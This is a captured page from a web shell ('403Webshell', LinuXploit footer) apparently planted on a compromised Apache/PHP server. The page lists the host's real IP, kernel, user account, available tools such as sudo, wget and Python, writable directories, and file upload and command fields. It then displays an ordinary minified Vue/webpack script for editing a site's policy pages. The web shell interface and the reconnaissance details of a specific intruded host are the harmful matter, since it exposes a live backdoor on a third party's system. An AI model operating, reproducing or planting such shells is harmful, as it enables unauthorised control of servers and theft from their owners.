403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache/htdocs/app/public/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache/htdocs/app/public/js/542.js
(self.webpackChunk=self.webpackChunk||[]).push([[542],{6399:(t,e,i)=>{"use strict";function n(t,e,i){return e in t?Object.defineProperty(t,e,{value:i,enumerable:!0,configurable:!0,writable:!0}):t[e]=i,t}i.d(e,{v:()=>o});var o={methods:{errorHandler_:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[],i=this.errorSeparator_(t,e),n=i.a,o=i.b;return Object.keys(o).length>0&&this.alertErrorMessages_(this.computeErrorMessages_(o)),n},errorSeparator_:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[],i="Something Is Not Right. Please Try Again Later.",o={},r={};if(null==t)this.defaultNotify_(i);else if(t.status&&t.data){var s=t.status,a=t.data;if(422==s){var l=a.errors||a.message;Object.keys(l).forEach((function(t){if(e.includes(t))if(-1!==t.indexOf(".")){var i=t.split(".");void 0===o[i[0]]?o[i[0]]=n({},i[1],l[t]):o[i[0]][i[1]]=l[t]}else o[t]=l[t];else r[t]=l[t]}))}else i=[400,403].includes(s)?a.message:i,this.defaultNotify_(i)}else console.error(t);return{a:o,b:r}},defaultNotify_:function(t){return this.$toast.warning(t),null},computeErrorMessages_:function(t){var e=Object.keys(t);if(e.length>0){var i=[];return e.forEach((function(e){i.push(t[e][0])})),i}return[]},alertErrorMessages_:function(t){this.$toast.warning(t.join("<br>"))}}}},6210:(t,e,i)=>{"use strict";i.r(e),i.d(e,{default:()=>l});var n=i(6399),o=i(4423);const r={components:{TiptapVuetify:o.CL},props:{value:{type:String,required:!0}},data:function(){return{value__:null,extensions:[o.Ay,o.V6,o.rU,o.v6,o.Re,o.Tx,o.HC,o.DY,o.GS,[o.X6,{options:{levels:[1,2,3]}}],o.d8,o.EK,o.bo,o.nv,o.U1]}},watch:{value:{handler:function(){this.value__=this.value},immediate:!0}}};var s=i(1900);const a={components:{Tiptap:(0,s.Z)(r,(function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",[i("tiptap-vuetify",{attrs:{"toolbar-attributes":{color:"primary"},extensions:t.extensions,placeholder:"Writing something ..."},on:{input:function(e){return t.$emit("input",t.value__)}},model:{value:t.value__,callback:function(e){t.value__=e},expression:"value__"}})],1)}),[],!1,null,null,null).exports},mixins:[n.v],data:function(){return{form:{content:null},errors:{},isEditMode:!1,submit_loading:!1,fetch_loading:!1,title:null,type:null}},watch:{$route:function(){this.init()}},created:function(){this.init()},methods:{init:function(){this.setSupportiveType(),this.isEditMode=!1,this.getSupportive()},setSupportiveType:function(){var t=this.$route.meta.params;this.type=(null==t?void 0:t.type)||"N/A","about-us"==this.type?this.title="About Us":"tnc"==this.type?this.title="Terms & Conditions":"refund-policy"==this.type?this.title="Refund Policy":"privacy-policy"==this.type?this.title="Privacy Policy":"value-declaration"==this.type?this.title="Value Declaration Notice":this.title="N/A"},getSupportive:function(){var t=this;this.fetch_loading=!0,this.$api.getSupportive(this.type).then((function(e){var i=e.data.result[0];t.form.id=(null==i?void 0:i.id)||"0",t.form.content=(null==i?void 0:i.content)||""})).catch((function(e){t.errorHandler_(e)})).finally((function(){t.fetch_loading=!1}))},submitForm:function(){this.errors={},this.updateSupportive()},updateSupportive:function(){var t=this;this.submit_loading=!0;var e={id:this.form.id,type:this.type,content:this.form.content};this.$api.updateSupportive(e).then((function(){t.init()})).catch((function(e){t.errors=t.errorHandler_(e,["content"])})).finally((function(){t.submit_loading=!1}))}}};const l=(0,s.Z)(a,(function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("v-container",[i("v-card",{staticClass:"pa-4"},[i("v-row",{attrs:{align:"end"}},[i("v-col",[i("div",{staticClass:"headline font-weight-bold"},[t._v(t._s(t.title))])]),t._v(" "),i("v-col",{attrs:{cols:"auto"}},[t.isEditMode?t._e():i("v-btn",{staticClass:"text-capitalize",attrs:{outlined:"",color:"info",small:"",disabled:"N/A"==t.type},on:{click:function(e){t.isEditMode=!0}}},[i("v-icon",{attrs:{left:"",small:""}},[t._v("mdi-pen")]),t._v("Edit\n\t\t\t\t")],1)],1)],1),t._v(" "),i("v-divider",{staticClass:"my-2"}),t._v(" "),i("v-row",[i("v-col",[t.fetch_loading?i("div",[i("v-skeleton-loader",{attrs:{type:"article,article"}})],1):t.isEditMode?i("v-row",{attrs:{dense:""}},[i("v-col",{staticClass:"pb-2 pt-4",attrs:{cols:"12"}},[i("Tiptap",{attrs:{"error-messages":t.errors.content},model:{value:t.form.content,callback:function(e){t.$set(t.form,"content",e)},expression:"form.content"}})],1),t._v(" "),i("v-col",{staticClass:"text-right",attrs:{cols:"12"}},[i("v-btn",{staticClass:"text-capitalize",attrs:{text:"",color:"error"},on:{click:function(e){t.isEditMode=!1}}},[t._v("\n\t\t\t\t\t\t\tCancel\n\t\t\t\t\t\t")]),t._v(" "),i("v-btn",{staticClass:"text-capitalize",attrs:{loading:t.submit_loading,color:"info"},on:{click:function(e){return t.submitForm()}}},[t._v("\n\t\t\t\t\t\t\tUpdate\n\t\t\t\t\t\t")])],1)],1):i("v-row",{attrs:{dense:""}},[i("v-col",[i("div",{staticClass:"display-paragraph px-4 py-2 overflow-auto radius-05",staticStyle:{"max-height":"60vh",border:"1px solid #AAA","border-left-width":"5px"}},[i("div",{staticClass:"tiptap-vuetify-editor__content",domProps:{innerHTML:t._s(t.form.content)}}),t._v(" "),""==t.form.content?i("div",{staticClass:"pa-6 font-italic grey--text text-center"},[t._v("~ Empty Content ~")]):t._e()])])],1)],1)],1)],1)],1)}),[],!1,null,null,null).exports}}]);

Youez - 2016 - github.com/yon3zu
LinuXploit